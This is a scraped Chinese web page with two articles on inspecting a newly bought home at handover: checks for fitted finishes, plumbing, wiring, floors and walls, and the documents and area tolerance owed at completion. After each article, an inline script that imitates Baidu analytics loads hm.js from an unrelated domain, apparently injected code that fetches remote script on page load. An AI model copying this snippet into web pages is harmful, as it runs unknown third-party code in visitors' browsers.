购楼后精装修收楼注意事项有哪些？

精装修收楼注意事项有很多方面。因为楼房已经完全装修好，可以省去装修这一环节，但在很多细微之处不一定能完全达到规范要求，尤其很多隐蔽之处，如果没有验收好，就会给今后生活中增加很多难题。那么精装修收楼注意事项有哪些呢？精装修收楼注意事项：要带上购房合同，并充分了解购房合同的各项内容以及附加细则等。要求售楼处提供房屋结构图以及水电路施工图。还应让售楼处提供装修材料明细表，验收时可以按照合同，图纸及材料明细表进行对照检查。验收卫生间时重点应在渗漏方面，可以在浴缸内放水，隔天再去观察是否有渗漏情况。检查卫生洁具是否光滑、平整，水龙头是否灵活好用，排水管是否通畅，还要注意卫生间排风口情况，测试是否有通风的效果。精装修收楼注意事项：进行厨房验收要仔细观察厨具是否有破损，检查橱柜内外以及柜门的开关情况是否灵活好用，检查进水和出水情况，看排水管道否通畅。检查厨房排烟系统，是否有反烟串味现象。精装修收楼注意事项，检查房屋内电路情况，断开总电源进行实验全屋断电情况，按照配电箱上的标签，分别检查电路是否对应相应的房间和位置，检查各屋的灯具和插座的供电情况是否完好，检查水表、电表和燃气表的数值是否为零，检查室内是否安装有宽带端口、电视闭路线端口、电话线端口。精装修收楼注意事项：验收房屋质量时可以通过房屋墙壁和地面进行检查。首先观察地面是否平整，可以用水平仪检测，也可以用乒乓球放在地面，如果乒乓球静止则说明地面比较平整。检查墙的转角处是否直线，侧面观察墙面是否平有凹凸不平的地方，仔细看墙体是否存有裂缝，用手或者小工具轻敲墙面，听是否有空鼓声。精装修收楼注意事项：检查天花板和吊顶，先观察天花板平整程度，天花板和墙面结合部位是否直线。如果是顶楼，观察棚顶是否有受潮和漏水痕迹。检查厨房和卫生间的吊顶安装与墙面是否严密，扣板相接是否紧致平整。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

商品房竣工验收标准是什么 有哪些注意事项

关于商品房竣工验收标准没有具体的要求，在符合国家规范的基础上，以双方签订的合同为准，业主不但要检查房屋的质量，还要审查相关文件，以免后续出现各种各样的问题，影响居家生活。那么依据商品房竣工验收标准进行验收时，都有哪些需要的注意的事项呢？主要有收房期限、交付文件、房屋检验三点。一、收房期限一般来说在商品房竣工验收标准中，收房的第一步是接收入住通知书，确定开发商能否按期交付房子，并且安排好时间，可以提前但是最好不要延后。如果实际交楼的日期超过了合同上所规定的收楼日期，可以按照合同要求向开发商索赔。二、交付文件竣工验收的时候，需要先审查相应的文件，以此确定房子是否达到了交付的条件。《竣工验收表》是有关部门制定的证明文件，在商品房竣工验收标准中是最关健的，一定程度上能够约束开发商的行为。还有房屋的质量保证书和使用说明等，这些文件有一个不能提供，就有权拒绝收房。三、房屋检验“先验后收”是商品房竣工验收标准中普遍的原则，主要检测房屋面积和质量两个大的方面。如果发现问题，应及时向开发商提出。（一）具体来说，房屋面积应该核算实测和购买平方大小是否有误差，由于公摊面积的存在3%的误差是合理的，超过了可以中止收房。像电梯、楼道等可以计入公摊面积，但是仓库、车库车道就不属于了。（二）房屋的质量是指本身结构性能是否存在问题，整体的建筑需要符合商品房竣工验收标准中国家工程规范，比如说房屋要具有抗震能力。观察居住小区的整体环境，看一下绿化设施是否符合合同中的规定。还有室内的墙体地面、水电工程等所有施工方面都要仔细的检查，是否合理能满足日常使用，所用材料是否安全环保。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();